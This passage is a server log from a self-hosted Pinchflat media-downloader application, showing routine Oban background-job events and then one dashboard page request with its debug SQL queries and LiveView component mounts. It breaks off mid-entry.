{"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:53.056 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.774 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:23.058 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:53.059 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.776 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:23.061 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:53.063 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.778 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:23.065 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:53.066 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.779 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:23.068 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:53.070 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.780 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:23.072 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:53.074 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.781 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:23.075 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:53.077 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.782 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:23.079 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:53.081 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.783 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:23.084 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:53.085 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.784 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:23.087 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:53.089 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.785 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:23.091 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:53.093 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.786 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:23.095 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:53.097 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.787 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:23.099 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:53.101 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.788 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:23.104 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:53.106 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.789 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:23.108 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:53.110 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.790 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:23.111 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:53.113 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.791 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:23.115 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:53.118 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.792 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:23.119 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:53.121 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.793 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:23.123 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:53.124 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.794 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:23.126 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:53.128 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.795 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:23.130 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:53.132 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.796 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:23.134 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:53.136 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.797 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:23.138 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:53.140 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.798 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:23.142 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:53.145 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.800 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:23.146 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:53.147 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.801 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:23.149 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:53.151 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.803 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:23.152 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:53.154 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.804 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:23.157 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:53.159 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.806 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:23.160 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:53.163 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.808 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:23.164 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:53.166 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.809 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:23.168 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:53.170 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.810 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:23.172 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:53.174 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.811 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:23.176 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:53.178 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.812 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:23.180 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:53.182 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.814 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:23.183 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:53.185 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.815 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:23.187 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:53.189 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.816 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:23.191 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:53.193 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.817 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:23.196 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:53.197 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.818 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:23.199 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:53.201 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.820 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:23.203 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:53.205 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.822 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:11.064 [info] GET / 03:17:11.064 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 03:17:11.065 [debug] QUERY OK source="settings" db=0.7ms idle=445.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:11.066 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=447.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 03:17:11.067 [debug] QUERY OK source="sources" db=0.4ms idle=447.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 03:17:11.068 [debug] QUERY OK source="media_items" db=0.9ms idle=448.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:11.068 [debug] QUERY OK source="media_items" db=0.6ms idle=162.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:11.069 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:11.070 [debug] QUERY OK source="settings" db=0.4ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:11.071 [debug] QUERY OK source="settings" db=0.6ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:11.072 [debug] QUERY OK source="tasks" db=0.1ms idle=4.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:17:11.073 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:11.074 [debug] QUERY OK source="media_items" db=1.0ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:11.075 [debug] QUERY OK source="media_items" db=1.0ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:17:11.077 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:11.077 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:17:11.079 [info] Sent 200 in 15ms 03:17:11.517 [info] CONNECTED TO Phoenix.LiveView.Socket in 35µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "bixmBi0dFWY8Myt7ByFaXBhnAn0Ran4AYkR5WxCUsKg9aWbiM8U4IS9b", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 03:17:11.591 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "7G43zeV3OxLBfv85U_WIX9Gb", "media_state" => "downloaded"} 03:17:11.592 [debug] QUERY OK source="media_items" db=0.7ms idle=518.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:11.593 [debug] QUERY OK source="media_items" db=0.6ms idle=517.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:11.593 [debug] Replied in 2ms 03:17:11.593 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "7G43zeV3OxLBfv85U_WIX9Gb", "media_state" => "pending"} 03:17:11.595 [debug] QUERY OK source="media_items" db=1.2ms idle=517.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:17:11.596 [debug] QUERY OK source="media_items" db=1.5ms idle=518.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:11.597 [debug] QUERY OK source="sources" db=0.9ms idle=519.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:17:11.598 [debug] Replied in 4ms 03:17:11.599 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "7G43zeV3OxLBfv85U_WIX9Gb"} 03:17:11.600 [debug] QUERY OK source="tasks" db=0.4ms idle=7.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:17:11.600 [debug] Replied in 687µs 03:17:11.601 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: 